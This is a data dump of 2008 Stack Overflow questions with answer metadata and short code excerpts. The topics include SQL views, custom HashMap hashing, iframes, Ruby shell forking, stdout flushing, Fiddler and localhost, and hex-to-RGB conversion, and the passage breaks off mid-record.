[ { "answer_id": 214152, "author": "Tom Anderson", "author_id": 13502, "author_profile": "https://Stackoverflow.com/users/13502", "pm_score": 6, "selected": true, "text": "WebBrowser" }, { "answer_id": 7507157, "author": "CDS", "author_id": 957923, "author_profile": "https://Stackoverflow.com/users/957923", "pm_score": 4, "selected": false, "text": "//CODE in C#\nwebBrowser1.Navigate(\"about:blank\");\nApplication.DoEvents();\nwebBrowser1.Document.OpenNew(false).Write(\"<html><body><div id=\\\"editable\\\">Edit this text</div></body></html>\"); \n\nforeach (HtmlElement el in webBrowser1.Document.All)\n{\n el.SetAttribute(\"unselectable\", \"on\");\n el.SetAttribute(\"contenteditable\", \"false\");\n}\n\nwebBrowser1.Document.Body.SetAttribute(\"width\", this.Width.ToString() + \"px\"); \nwebBrowser1.Document.Body.SetAttribute(\"height\", \"100%\"); \nwebBrowser1.Document.Body.SetAttribute(\"contenteditable\", \"true\");\nwebBrowser1.Document.DomDocument.GetType().GetProperty(\"designMode\").SetValue(webBrowser1.Document.DomDocument, \"On\", null);\nwebBrowser1.IsWebBrowserContextMenuEnabled = false;\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/214124", "https://Stackoverflow.com", "https://Stackoverflow.com/users/16989/" ]
214,132
<p>I'm just trying to get a general idea of what views are used for in RDBMSes. That is to say, I know what a view is and how to make one. I also know what I've used them for in the past.</p> <p>But I want to make sure I have a thorough understanding of what a view is useful for and what a view shouldn't be useful for. More specifically:</p> <ol> <li>What is a view useful for?</li> <li>Are there any situations in which it is tempting to use a view when you shouldn't use one?</li> <li>Why would you use a view in lieu of something like a table-valued function or vice versa?</li> <li>Are there any circumstances that a view might be useful that aren't apparent at first glance?</li> </ol> <p>(And for the record, some of these questions are intentionally naive. This is partly a concept check.)</p>
[ { "answer_id": 214238, "author": "6eorge Jetson", "author_id": 23422, "author_profile": "https://Stackoverflow.com/users/23422", "pm_score": 7, "selected": true, "text": "CREATE VIEW AS       SELECT * FROM tblData" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/214132", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2147/" ]
214,136
<p>With a <code>TreeMap</code> it's trivial to provide a custom <code>Comparator</code>, thus overriding the semantics provided by <code>Comparable</code> objects added to the map. <code>HashMap</code>s however cannot be controlled in this manner; the functions providing hash values and equality checks cannot be 'side-loaded'.</p> <p>I suspect it would be both easy and useful to design an interface and to retrofit this into <code>HashMap</code> (or a new class)? Something like this, except with better names:</p> <pre><code> interface Hasharator&lt;T&gt; { int alternativeHashCode(T t); boolean alternativeEquals(T t1, T t2); } class HasharatorMap&lt;K, V&gt; { HasharatorMap(Hasharator&lt;? super K&gt; hasharator) { ... } } class HasharatorSet&lt;T&gt; { HasharatorSet(Hasharator&lt;? super T&gt; hasharator) { ... } } </code></pre> <p>The <a href="https://stackoverflow.com/questions/212562/is-there-a-good-way-to-have-a-mapstring-get-and-put-ignore-case">case insensitive <code>Map</code></a> problem gets a trivial solution:</p> <pre><code> new HasharatorMap(String.CASE_INSENSITIVE_EQUALITY); </code></pre> <p>Would this be doable, or can you see any fundamental problems with this approach?</p> <p>Is the approach used in any existing (non-JRE) libs? (Tried google, no luck.)</p> <p>EDIT: Nice workaround presented by hazzen, but I'm afraid this is the workaround I'm trying to avoid... ;)</p> <p>EDIT: Changed title to no longer mention "Comparator"; I suspect this was a bit confusing. </p> <p>EDIT: Accepted answer with relation to performance; would love a more specific answer!</p> <p>EDIT: There is an implementation; see the accepted answer below.</p> <p>EDIT: Rephrased the first sentence to indicate more clearly that it's the side-loading I'm after (and not ordering; ordering does not belong in HashMap).</p>
[ { "answer_id": 214142, "author": "hazzen", "author_id": 5066, "author_profile": "https://Stackoverflow.com/users/5066", "pm_score": 2, "selected": false, "text": "String" }, { "answer_id": 215224, "author": "Daniel Spiewak", "author_id": 9815, "author_profile": "https://Stackoverflow.com/users/9815", "pm_score": 0, "selected": false, "text": "TreeMap" }, { "answer_id": 5701834, "author": "maaartinus", "author_id": 581205, "author_profile": "https://Stackoverflow.com/users/581205", "pm_score": 0, "selected": false, "text": "com.google.common.collect.CustomConcurrentHashMap" }, { "answer_id": 20030782, "author": "Lukas Eder", "author_id": 521799, "author_profile": "https://Stackoverflow.com/users/521799", "pm_score": 3, "selected": false, "text": "AbstractHashedMap" }, { "answer_id": 27727253, "author": "Craig P. Motlin", "author_id": 23572, "author_profile": "https://Stackoverflow.com/users/23572", "pm_score": 3, "selected": false, "text": "public interface HashingStrategy<E>\n{\n int computeHashCode(E object);\n boolean equals(E object1, E object2);\n}\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/214136", "https://Stackoverflow.com", "https://Stackoverflow.com/users/13905/" ]
214,140
<p>I'm working on a table of links within a site using iframes. I'm wondering if there's any way to code a link to go to two simultaneous destinations within two different target frames? I've been reading all afternoon and can't find anything close to what I want to do. Basically I want one link to present a photo in one iframe and some data in another iframe. Any ideas?</p>
[ { "answer_id": 214153, "author": "davethegr8", "author_id": 12930, "author_profile": "https://Stackoverflow.com/users/12930", "pm_score": 3, "selected": true, "text": "function click_link(id) {\n document.getElementById('iframe1').src = \"page.ext?id=\" + id;\n document.getElementById('iframe2').src = \"other_page.ext?id=\" + id;\n}\n" }, { "answer_id": 215828, "author": "Kornel", "author_id": 27009, "author_profile": "https://Stackoverflow.com/users/27009", "pm_score": 0, "selected": false, "text": "img.onclick = function(){\n $('bigphoto').src = this.src.replace(/_small/,'_big');\n $('description').innerHTML = this.title;\n}\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/214140", "https://Stackoverflow.com", "https://Stackoverflow.com/users/27171/" ]
214,205
<p>Here's some Ruby code:</p> <pre><code>puts %x{ pstree #{$$} } # never forks puts %x{ pstree '#{$$}' } # forks on amd64 only </code></pre> <p>On 32-bit Ubuntu Dapper, I get this output:</p> <pre><code>t.rb---pstree t.rb---pstree </code></pre> <p>Which makes sense to me. But on 64-bit Ubuntu Hardy, I get this:</p> <pre><code>t.rb---sh---pstree t.rb---pstree </code></pre> <p>What's being shown here is that Ruby forks before exec'ing in just one of the cases. When I put the code in a file and run it under strace -fF, it appears that on 64-bit Hardy it calls <code>clone()</code> (like <code>fork()</code>) before <code>execve()</code>, whereas on 32-bit Dapper it does no such thing.</p> <p>My Ruby versions are:</p> <pre><code>ruby 1.8.4 (2005-12-24) [i486-linux] ruby 1.8.6 (2007-09-24 patchlevel 111) [x86_64-linux] </code></pre> <p>I should try mixing &amp; matching interpreters &amp; OS's &amp; word sizes more, but right now it's not easy since I don't administer these machines. Maybe someone among you can tell me what the difference even is between these commands on the 64-bit system, let alone why they work the same on the 32-bit one.</p>
[ { "answer_id": 214263, "author": "Robert Gamble", "author_id": 25222, "author_profile": "https://Stackoverflow.com/users/25222", "pm_score": 3, "selected": true, "text": "*?{}[]<>()~&|\\\\$;'`\"\\n\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/214205", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4323/" ]
214,215
<p>I have several user drawn controls on a form, unfortunately when the form is shown the user drawn controls are showing the previous forms background rather than the current forms background. </p> <p>The OnPaint event is very simple, and the OnBackgroundPaint event is empty... </p> <p>Like this:</p> <pre><code> protected override void OnPaint(PaintEventArgs pe) { pe.Graphics.DrawImageUnscaled(_bmpImage, 0, 0); } protected override void OnPaintBackground(PaintEventArgs pevent) { //Leave empty... } </code></pre> <p>How do I get the current background to be the transparency that is shown, rather than the background of the previous form?</p>
[ { "answer_id": 214263, "author": "Robert Gamble", "author_id": 25222, "author_profile": "https://Stackoverflow.com/users/25222", "pm_score": 3, "selected": true, "text": "*?{}[]<>()~&|\\\\$;'`\"\\n\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/214215", "https://Stackoverflow.com", "https://Stackoverflow.com/users/29140/" ]
214,230
<p>When including a header file in C++, what's the difference between...</p> <ol> <li><p>including the <em>.h</em> part versus not including <em>.h</em> part when wrapping it in <em>&lt;&gt;</em> signs?</p> <p>#include &lt;iostream&gt; vs. #include &lt;iostream.h&gt;</p> </li> <li><p>wrapping the header name in double quotes versus wrapping it in &lt; &gt; signs?</p> <p>#include &lt;iostream.h&gt; vs. #include &quot;iostream.h&quot;</p> </li> </ol>
[ { "answer_id": 214242, "author": "Adam Davis", "author_id": 2915, "author_profile": "https://Stackoverflow.com/users/2915", "pm_score": 7, "selected": true, "text": "iostream.h" } ]
2008/10/18
[ "https://Stackoverflow.com/questions/214230", "https://Stackoverflow.com", "https://Stackoverflow.com/users/191808/" ]
214,233
<p>Recent conversations with colleagues have produced varying points of view on this matter. What say you, SO members?</p> <p>I know, even the concept of scalability can be taken in so many different ways and contexts, but that was part of the discussion when this came up. Everyone seemed to have a different take on what scalability really means. I'm curious to see the varying takes here as well. In fact, I posted a <a href="https://stackoverflow.com/questions/214246/what-does-scalability-mean-to-you">question</a> just for that concept.</p>
[ { "answer_id": 214284, "author": "Robert Rossney", "author_id": 19403, "author_profile": "https://Stackoverflow.com/users/19403", "pm_score": 3, "selected": false, "text": "IEnumerable<T>" }, { "answer_id": 216248, "author": "Sklivvz", "author_id": 7028, "author_profile": "https://Stackoverflow.com/users/7028", "pm_score": 3, "selected": false, "text": "WITH (NOLOCK)" } ]
2008/10/18
[ "https://Stackoverflow.com/questions/214233", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5469/" ]
214,262
<p>I have the following snippet of code, changeTextArea is a TextArea object.</p> <pre><code>changeTextArea.addKeyboardListener(new KeyboardListenerAdapter() public void onKeyPress( Widget sender, char keyCode, int modifier){ //do something //I WISH TO STOP THE EVENT THAT MAPS TO THIS KEYPRESS FROM BUBBLING ANY FURTHER } } </code></pre> <p>How would I stop the Event that is causing this method to be called from bubbling up from changeTextArea into the Panels/Widgets/Composites/Whatever that contain changeTextArea. Put succinctly, how do I stop it from bubbling any further. Any help would be appreciated (especially code samples).</p>
[ { "answer_id": 214633, "author": "rustyshelf", "author_id": 6044, "author_profile": "https://Stackoverflow.com/users/6044", "pm_score": 4, "selected": true, "text": "DOM.addEventPreview(EventPreview preview) \n" }, { "answer_id": 4505402, "author": "Sean", "author_id": 550686, "author_profile": "https://Stackoverflow.com/users/550686", "pm_score": 2, "selected": false, "text": " public void onKeyPress(KeyPressEvent event) {\n char keyCode = event.getCharCode();\n if(keyCode <48 || keyCode >57)\n {\n ((TextArea)event.getSource()).cancelKey();\n }\n }\n}\n" }, { "answer_id": 24996839, "author": "guillermo", "author_id": 3884482, "author_profile": "https://Stackoverflow.com/users/3884482", "pm_score": 0, "selected": false, "text": "event.doit = false" } ]
2008/10/18
[ "https://Stackoverflow.com/questions/214262", "https://Stackoverflow.com", "https://Stackoverflow.com/users/21317/" ]
214,271
<p>In Perl, I can type:</p> <pre><code>$|++; </code></pre> <p>and anything printed to STDOUT will be automatically fflush()ed.</p> <p>Is there an equivalent in C? In other words, is there some way I can tell stdio to automatically fflush stdout after every printf(), the way it automatically flushes stderr?</p>
[ { "answer_id": 214290, "author": "Harry", "author_id": 4704, "author_profile": "https://Stackoverflow.com/users/4704", "pm_score": 6, "selected": true, "text": "setvbuf(stdout, NULL, _IONBF, 0)" }, { "answer_id": 214292, "author": "yogman", "author_id": 24349, "author_profile": "https://Stackoverflow.com/users/24349", "pm_score": 4, "selected": false, "text": "_IOLBF" } ]
2008/10/18
[ "https://Stackoverflow.com/questions/214271", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7598/" ]
214,272
<p>I downloaded the Aptana_Studio_Setup_Linux.zip package, unpacked it and run ./AptanaStudio. It starts fine, but reports one problem:</p> <p><em>The embedded browser widget for this editor cannot be created. It is either not available for your operating system or the system needs to be configured in order to support embedded browser.</em></p> <p>After that, it opens the "Welcome page" in external browser (Mozilla), but when I click on a link to install PHP support it does not open the destination target. No wonder, because the link is in format: com.aptana....etc. I.e. written in reverse. I assume such links only work with internal browser.</p> <p>If I look into details, I get these error messages:</p> <pre><code>No more handles [Unknown Mozilla path (MOZILLA_FIVE_HOME not set)] org.eclipse.swt.SWTError: No more handles [Unknown Mozilla path (MOZILLA_FIVE_HOME not set)] at org.eclipse.swt.SWT.error(SWT.java:3400) at org.eclipse.swt.browser.Browser.&lt;init&gt;(Browser.java:138) at org.eclipse.ui.internal.browser.BrowserViewer.&lt;init&gt;(BrowserViewer.java:224) at org.eclipse.ui.internal.browser.WebBrowserEditor.createPartControl(WebBrowserEditor.java:78) at com.aptana.ide.intro.browser.CoreBrowserEditor.createPartControl(CoreBrowserEditor.java:138) at org.eclipse.ui.internal.EditorReference.createPartHelper(EditorReference.java:596) at org.eclipse.ui.internal.EditorReference.createPart(EditorReference.java:372) at org.eclipse.ui.internal.WorkbenchPartReference.getPart(WorkbenchPartReference.java:566) at org.eclipse.ui.internal.PartPane.setVisible(PartPane.java:290) </code></pre> <p>etc. I hope this is enough.</p> <p>I tried to set the env. variable:</p> <pre><code>export MOZILLA_FIVE_HOME=/usr/lib/mozilla/ </code></pre> <p>However, it only changes the error message to:</p> <pre><code>No more handles [NS_InitEmbedding /usr/lib/mozilla/ error -2147221164] org.eclipse.swt.SWTError: No more handles [NS_InitEmbedding /usr/lib/mozilla/ error -2147221164] at org.eclipse.swt.SWT.error(SWT.java:3400) at org.eclipse.swt.browser.Browser.&lt;init&gt;(Browser.java:225) at org.eclipse.ui.internal.browser.BrowserViewer.&lt;init&gt;(BrowserViewer.java:224) at org.eclipse.ui.internal.browser.WebBrowserEditor.createPartControl(WebBrowserEditor.java:78) at com.aptana.ide.intro.browser.CoreBrowserEditor.createPartControl(CoreBrowserEditor.java:138) at org.eclipse.ui.internal.EditorReference.createPartHelper(EditorReference.java:596) at org.eclipse.ui.internal.EditorReference.createPart(EditorReference.java:372) </code></pre> <p>For start I really want to have PHP working, but I'd also like to fix the whole internal browser issue in the end.</p>
[ { "answer_id": 215481, "author": "Oli", "author_id": 12870, "author_profile": "https://Stackoverflow.com/users/12870", "pm_score": -1, "selected": false, "text": "sudo apt-get install firefox-2\n" }, { "answer_id": 588864, "author": "kthakore", "author_id": 65875, "author_profile": "https://Stackoverflow.com/users/65875", "pm_score": 1, "selected": false, "text": "MOZILLA_FIVE_HOME=/usr/lib/xulrunner\n" }, { "answer_id": 19353385, "author": "moollaza", "author_id": 819937, "author_profile": "https://Stackoverflow.com/users/819937", "pm_score": 3, "selected": false, "text": "sudo apt-get install libwebkitgtk-1.0-0\n" } ]
2008/10/18
[ "https://Stackoverflow.com/questions/214272", "https://Stackoverflow.com", "https://Stackoverflow.com/users/14690/" ]
214,304
<p>I would like to set some initial variables (like <code>format compact</code> and the current directory) automatically on each startup of Matlab.<br> How can I do that?</p>
[ { "answer_id": 214382, "author": "SCFrench", "author_id": 4928, "author_profile": "https://Stackoverflow.com/users/4928", "pm_score": 4, "selected": true, "text": ">> userpath\n" } ]
2008/10/18
[ "https://Stackoverflow.com/questions/214304", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1034/" ]
214,308
<p>When using Fiddler to monitor HTTP Requests &amp; Responses in Internet Explorer it ignores all traffic directed to <a href="http://localhost" rel="noreferrer">http://localhost</a>.</p>
[ { "answer_id": 214368, "author": "Matt Dillard", "author_id": 863, "author_profile": "https://Stackoverflow.com/users/863", "pm_score": 7, "selected": false, "text": "http://machinename/mytestpage.aspx\n" }, { "answer_id": 4968074, "author": "Piskvor left the building", "author_id": 19746, "author_profile": "https://Stackoverflow.com/users/19746", "pm_score": 3, "selected": false, "text": "<-loopback>" }, { "answer_id": 32072594, "author": "Jonathan", "author_id": 6910, "author_profile": "https://Stackoverflow.com/users/6910", "pm_score": 5, "selected": false, "text": "http://localhost:51900/service.wcf" }, { "answer_id": 72253293, "author": "Steven Pribilinskiy", "author_id": 1949503, "author_profile": "https://Stackoverflow.com/users/1949503", "pm_score": 0, "selected": false, "text": "localhost" } ]
2008/10/18
[ "https://Stackoverflow.com/questions/214308", "https://Stackoverflow.com", "https://Stackoverflow.com/users/303/" ]
214,309
<p>For example, mysql quote table name using </p> <pre><code>SELECT * FROM `table_name`; </code></pre> <p>notice the ` </p> <p>Does other database ever use different char to quote their table name</p>
[ { "answer_id": 214344, "author": "Bill Karwin", "author_id": 20860, "author_profile": "https://Stackoverflow.com/users/20860", "pm_score": 6, "selected": true, "text": "SELECT * FROM \"my table\";\n" } ]
2008/10/18
[ "https://Stackoverflow.com/questions/214309", "https://Stackoverflow.com", "https://Stackoverflow.com/users/20907/" ]
214,348
<p>Does anyone know the bare minimum files required for Ext JS 2.2? I know the ExtJS site has a feature to <a href="http://extjs.com/products/extjs/build/" rel="noreferrer">"build"</a> a small version of ExtJS (ext.js) as a replacement for ext-all.js but that's for minimizing the size of ExtJS on the client. I'm interested in minimizing what's on the server. Currently the SDK comes with the following subdirectories:</p> <h2>ext-2.2/</h2> <pre><code>adapter air build docs examples resources source </code></pre> <p>I think its pretty safe to remove examples, docs, and air. However, are there other things we can remove to make this smaller or is there a resource (besides the large javascript source code corpus) that documents the minimum required files?</p>
[ { "answer_id": 214390, "author": "pfeilbr", "author_id": 29148, "author_profile": "https://Stackoverflow.com/users/29148", "pm_score": 4, "selected": true, "text": "<link rel=\"stylesheet\" type=\"text/css\" href=\"../extjs/resources/css/ext-all.css\">\n<script type=\"text/javascript\" src=\"../extjs/adapter/ext/ext-base.js\"></script>\n<script type=\"text/javascript\" src=\"../extjs/ext-all.js\"></script>\n" } ]
2008/10/18
[ "https://Stackoverflow.com/questions/214348", "https://Stackoverflow.com", "https://Stackoverflow.com/users/10708/" ]
214,359
<p>What is the most efficient way to do this?</p>
[ { "answer_id": 214365, "author": "Paige Ruten", "author_id": 813, "author_profile": "https://Stackoverflow.com/users/813", "pm_score": 2, "selected": false, "text": "#FF6400 = RGB(0xFF, 0x64, 0x00) = RGB(255, 100, 0)\n" }, { "answer_id": 214367, "author": "billjamesdev", "author_id": 13824, "author_profile": "https://Stackoverflow.com/users/13824", "pm_score": 4, "selected": false, "text": "int r = ( hexcolor >> 16 ) & 0xFF;\n\nint g = ( hexcolor >> 8 ) & 0xFF;\n\nint b = hexcolor & 0xFF;\n\nint hexcolor = (r << 16) + (g << 8) + b;\n" }, { "answer_id": 214386, "author": "Vicent Marti", "author_id": 4381, "author_profile": "https://Stackoverflow.com/users/4381", "pm_score": 4, "selected": true, "text": "template<class T>\nuint32 RGBToColor(uint8 r, uint8 g, uint8 b) {\nreturn T::kAlphaMask |\n (((r << T::kRedShift) >> (8 - T::kRedBits)) & T::kRedMask) |\n (((g << T::kGreenShift) >> (8 - T::kGreenBits)) & T::kGreenMask) |\n (((b << T::kBlueShift) >> (8 - T::kBlueBits)) & T::kBlueMask);\n}\n" }, { "answer_id": 214657, "author": "Jeremy Cantrell", "author_id": 18866, "author_profile": "https://Stackoverflow.com/users/18866", "pm_score": 7, "selected": false, "text": "def hex_to_rgb(value):\n \"\"\"Return (red, green, blue) for the color given as #rrggbb.\"\"\"\n value = value.lstrip('#')\n lv = len(value)\n return tuple(int(value[i:i + lv // 3], 16) for i in range(0, lv, lv // 3))\n\ndef rgb_to_hex(red, green, blue):\n \"\"\"Return color as #rrggbb for the given color values.\"\"\"\n return '#%02x%02x%02x' % (red, green, blue)\n\nhex_to_rgb(\"#ffffff\") #==> (255, 255, 255)\nhex_to_rgb(\"#ffffffffffff\") #==> (65535, 65535, 65535)\nrgb_to_hex(255, 255, 255) #==> '#ffffff'\nrgb_to_hex(65535, 65535, 65535) #==> '#ffffffffffff'\n" }, { "answer_id": 7548779, "author": "Rick Westera", "author_id": 672086, "author_profile": "https://Stackoverflow.com/users/672086", "pm_score": 3, "selected": false, "text": "def hex_to_rgb(value):\n value = value.lstrip('#')\n lv = len(value)\n if lv == 1:\n v = int(value, 16)*17\n return v, v, v\n if lv == 3:\n return tuple(int(value[i:i+1], 16)*17 for i in range(0, 3))\n return tuple(int(value[i:i+lv/3], 16) for i in range(0, lv, lv/3))\n" }, { "answer_id": 22433826, "author": "Patricio Rossi", "author_id": 1902051, "author_profile": "https://Stackoverflow.com/users/1902051", "pm_score": 1, "selected": false, "text": " void Color::SetColor(string color) {\n // try catch will be necessary if your string is not sanitized before calling this function.\n SetColor(std::stoul(color, nullptr, 16));\n }\n\n void Color::SetColor(uint32_t number) {\n B = number & 0xFF;\n number>>= 8;\n G = number & 0xFF;\n number>>= 8;\n R = number & 0xFF;\n }\n\n\n\n // ex:\n SetColor(\"ffffff\");\n SetColor(0xFFFFFF);\n" }, { "answer_id": 26517762, "author": "Chris H.", "author_id": 2961541, "author_profile": "https://Stackoverflow.com/users/2961541", "pm_score": 5, "selected": false, "text": "matplotlib" }, { "answer_id": 42011375, "author": "PADYMKO", "author_id": 6003870, "author_profile": "https://Stackoverflow.com/users/6003870", "pm_score": 2, "selected": false, "text": "\"\"\"Utils for working with colors.\"\"\"\n\nimport textwrap\n\n\ndef rgb_to_hex(value1, value2, value3):\n \"\"\"\n Convert RGB value (as three numbers each ranges from 0 to 255) to hex format.\n\n >>> rgb_to_hex(235, 244, 66)\n '#EBF442'\n >>> rgb_to_hex(56, 28, 26)\n '#381C1A'\n >>> rgb_to_hex(255, 255, 255)\n '#FFFFFF'\n >>> rgb_to_hex(0, 0, 0)\n '#000000'\n >>> rgb_to_hex(203, 244, 66)\n '#CBF442'\n >>> rgb_to_hex(53, 17, 8)\n '#351108'\n \"\"\"\n\n for value in (value1, value2, value3):\n if not 0 <= value <= 255:\n raise ValueError('Value each slider must be ranges from 0 to 255')\n return '#{0:02X}{1:02X}{2:02X}'.format(value1, value2, value3)\n\n\ndef hex_to_rgb(value):\n \"\"\"\n Convert color`s value in hex format to RGB format.\n\n >>> hex_to_rgb('fff')\n (255, 255, 255)\n >>> hex_to_rgb('ffffff')\n (255, 255, 255)\n >>> hex_to_rgb('#EBF442')\n (235, 244, 66)\n >>> hex_to_rgb('#000000')\n (0, 0, 0)\n >>> hex_to_rgb('#000')\n (0, 0, 0)\n >>> hex_to_rgb('#54433f')\n (84, 67, 63)\n >>> hex_to_rgb('#f7efed')\n (247, 239, 237)\n >>> hex_to_rgb('#191616')\n (25, 22, 22)\n \"\"\"\n\n if value[0] == '#':\n value = value[1:]\n\n len_value = len(value)\n\n if len_value not in [3, 6]:\n raise ValueError('Incorect a value hex {}'.format(value))\n\n if len_value == 3:\n value = ''.join(i * 2 for i in value)\n return tuple(int(i, 16) for i in textwrap.wrap(value, 2))\n\n\nif __name__ == '__main__':\n import doctest\n doctest.testmod()\n" }, { "answer_id": 61327346, "author": "Sumit Pokhrel", "author_id": 2690723, "author_profile": "https://Stackoverflow.com/users/2690723", "pm_score": 0, "selected": false, "text": "color_in_hex = 'FF00EE64' # Green Color\nprint('RGB =', tuple(int(color_in_hex[i:i+2], 16) for i in (0, 2, 4)))\n" } ]
2008/10/18
[ "https://Stackoverflow.com/questions/214359", "https://Stackoverflow.com", "https://Stackoverflow.com/users/23107/" ]
214,362
<p>Does anyone have experience with using very large heaps, 12 GB or higher in Java?</p> <ul> <li>Does the GC make the program unusable?</li> <li>What GC params do you use?</li> <li>Which JVM, Sun or BEA would be better suited for this?</li> <li>Which platform, Linux or Windows, performs better under such conditions?</li> <li>In the case of Windows is there any performance difference to be had between 64 bit Vista and XP under such high memory loads?</li> </ul>
[ { "answer_id": 214407, "author": "jlintz", "author_id": 25218, "author_profile": "https://Stackoverflow.com/users/25218", "pm_score": 3, "selected": false, "text": "jmap -heap:format=b pid\n" } ]
2008/10/18
[ "https://Stackoverflow.com/questions/214362", "https://Stackoverflow.com", "https://Stackoverflow.com/users/14316/" ]
214,363
<p>Using any tools which you would expect to find on a nix system (in fact, if you want, msdos is also fine too), what is the easiest/fastest way to calculate the mean of a set of numbers, assuming you have them one per line in a stream or file?</p>
[ { "answer_id": 214370, "author": "Paul Nathan", "author_id": 26227, "author_profile": "https://Stackoverflow.com/users/26227", "pm_score": 0, "selected": false, "text": "@a = <STDIN>;\n\nfor($i = 0; $i < #@a; $i++)\n{\n $sum += $a[i];\n}\n\nprint $a[i]/#@a;\n" }, { "answer_id": 214371, "author": "Robert Gamble", "author_id": 25222, "author_profile": "https://Stackoverflow.com/users/25222", "pm_score": 2, "selected": false, "text": "perl -e 'while (<>) { $sum += $_; $count++ } print $sum / $count, \"\\n\"';\n" }, { "answer_id": 214380, "author": "Mitch Wheat", "author_id": 16076, "author_profile": "https://Stackoverflow.com/users/16076", "pm_score": 3, "selected": false, "text": "average 1 2 3 4 5 6 7 8 9\n" }, { "answer_id": 214398, "author": "Andru Luvisi", "author_id": 5922, "author_profile": "https://Stackoverflow.com/users/5922", "pm_score": 5, "selected": true, "text": "awk '{total += $1; count++ } END {print total/count}'\n" }, { "answer_id": 214425, "author": "Adam Liss", "author_id": 29157, "author_profile": "https://Stackoverflow.com/users/29157", "pm_score": 4, "selected": false, "text": "awk ' { n += $1 }; END { print n / NR }'\n" }, { "answer_id": 215021, "author": "Knox", "author_id": 4873, "author_profile": "https://Stackoverflow.com/users/4873", "pm_score": 1, "selected": false, "text": "get-content .\\meanNumbers.txt | measure-object -average\n" }, { "answer_id": 18617647, "author": "user2747481", "author_id": 2747481, "author_profile": "https://Stackoverflow.com/users/2747481", "pm_score": 2, "selected": false, "text": "$ st numbers.txt\nN min max sum mean sd\n10.00 1.00 10.00 55.00 5.50 3.03\n" }, { "answer_id": 48694647, "author": "american-ninja-warrior", "author_id": 3618156, "author_profile": "https://Stackoverflow.com/users/3618156", "pm_score": 0, "selected": false, "text": "cat numbers.txt | ruby -ne 'BEGIN{$sum=0}; $sum=$sum+$_.to_f; END{puts $sum/$.}'\n" } ]
2008/10/18
[ "https://Stackoverflow.com/questions/214363", "https://Stackoverflow.com", "https://Stackoverflow.com/users/18352/" ]
214,378
<p>I would like to see the specific style elements that are used in the default stylesheet for the various browsers. Do the browsers have an actual file based stylesheetss that I locate on my system and read? If so, what are the default locations of those files? If not, where I can find this information?</p>
[ { "answer_id": 214494, "author": "CesarB", "author_id": 28258, "author_profile": "https://Stackoverflow.com/users/28258", "pm_score": 3, "selected": false, "text": "resource://gre-resources/forms.css" }, { "answer_id": 214807, "author": "Christian Lescuyer", "author_id": 341, "author_profile": "https://Stackoverflow.com/users/341", "pm_score": -1, "selected": false, "text": "<link rel=\"stylesheet\" type=\"text/css\" media=\"screen\" href=\"/stylesheets/reset.css\"></link>\n<link rel=\"stylesheet\" type=\"text/css\" media=\"screen\" href=\"/stylesheets/general.css\"></link>\n" }, { "answer_id": 215419, "author": "Darryl Hein", "author_id": 5441, "author_profile": "https://Stackoverflow.com/users/5441", "pm_score": -1, "selected": false, "text": "/Applications/Opera.app/Contents/Resources/Styles/user.css" }, { "answer_id": 28752892, "author": "davidcondrey", "author_id": 1922144, "author_profile": "https://Stackoverflow.com/users/1922144", "pm_score": 1, "selected": false, "text": "jar:file:///Applications/Firefox.app/Contents/Resources/omni.ja!/chrome/toolkit/res/" } ]
2008/10/18
[ "https://Stackoverflow.com/questions/214378", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2415/" ]
214,411
<p>I would like to embed Flash Player directly inside a C++ or Java application.</p> <p>I found an article that describes how to do this for C#: <a href="http://www.adobe.com/devnet/flash/articles/stock_history03.html" rel="noreferrer">http://www.adobe.com/devnet/flash/articles/stock_history03.html</a></p> <p>Unfortunately, I have no experience with C#, COM or ActiveX. I need someone to translate this code to C++, allowing me to embed the Flash Player into a Win32 Window. Ultimately I'd like to use this information to embed Flash into a Java application.</p> <p>I am looking for three main functionalities:</p> <ol> <li>Ability to play a Flash movie</li> <li>Ability to receive events (such as mouse clicks)</li> <li>Ability to send events</li> </ol> <p>Edit: I prefer an open-source solution if possible.</p>
[ { "answer_id": 9325712, "author": "Eximius", "author_id": 1129753, "author_profile": "https://Stackoverflow.com/users/1129753", "pm_score": 0, "selected": false, "text": "%AppData%\\Mozilla\\plugins" } ]
2008/10/18
[ "https://Stackoverflow.com/questions/214411", "https://Stackoverflow.com", "https://Stackoverflow.com/users/14731/" ]
214,416
<p>How can I set the location (as it's picked up in CoreLocation services) in the iPhone Simulator? </p>
[ { "answer_id": 214455, "author": "Ben Gottlieb", "author_id": 6694, "author_profile": "https://Stackoverflow.com/users/6694", "pm_score": 4, "selected": false, "text": "#if TARGET_ IPHONE_SIMULATOR" }, { "answer_id": 1351576, "author": "prakash", "author_id": 123, "author_profile": "https://Stackoverflow.com/users/123", "pm_score": 0, "selected": false, "text": "> Q: How does iSimulate work? \n\n> A: When added to your project, the iSimulate\n> SDK library creates a listening server\n> on your iPhone Simulator that waits\n> for a connection from an iPhone/iPod\n> running the iSimulate client. When\n> such connection is established, the\n> iSimulate client running on your\n> iPhone/iPod captures all data from the\n> accelerometer sensor, the touch\n> events, the location and device ID and\n> streams them to the server. The\n> iSimulate SDK library then recreates\n> all input events synthetically. This\n> is entirely transparent to your\n> application and does not interfere\n> with your application's functionality.\n" }, { "answer_id": 7117000, "author": "Zsolt", "author_id": 429763, "author_profile": "https://Stackoverflow.com/users/429763", "pm_score": 3, "selected": false, "text": "<?xml version=\"1.0\"?>\n<gpx version=\"1.1\" creator=\"Xcode\"> \n <wpt lat=\"41.92296\" lon=\"-87.63892\"></wpt>\n</gpx>\n" }, { "answer_id": 9227485, "author": "Niels Castle", "author_id": 123340, "author_profile": "https://Stackoverflow.com/users/123340", "pm_score": 3, "selected": false, "text": "@implementation" }, { "answer_id": 12637537, "author": "beryllium", "author_id": 194544, "author_profile": "https://Stackoverflow.com/users/194544", "pm_score": 6, "selected": false, "text": "<?xml version=\"1.0\"?> <gpx version=\"1.0\" creator=\"MyName\"> <wpt lat=\"53.936166\" lon=\"27.565370\"> <name>MyOffice</name> </wpt> </gpx>" }, { "answer_id": 61207399, "author": "Samuel Hulla", "author_id": 5512705, "author_profile": 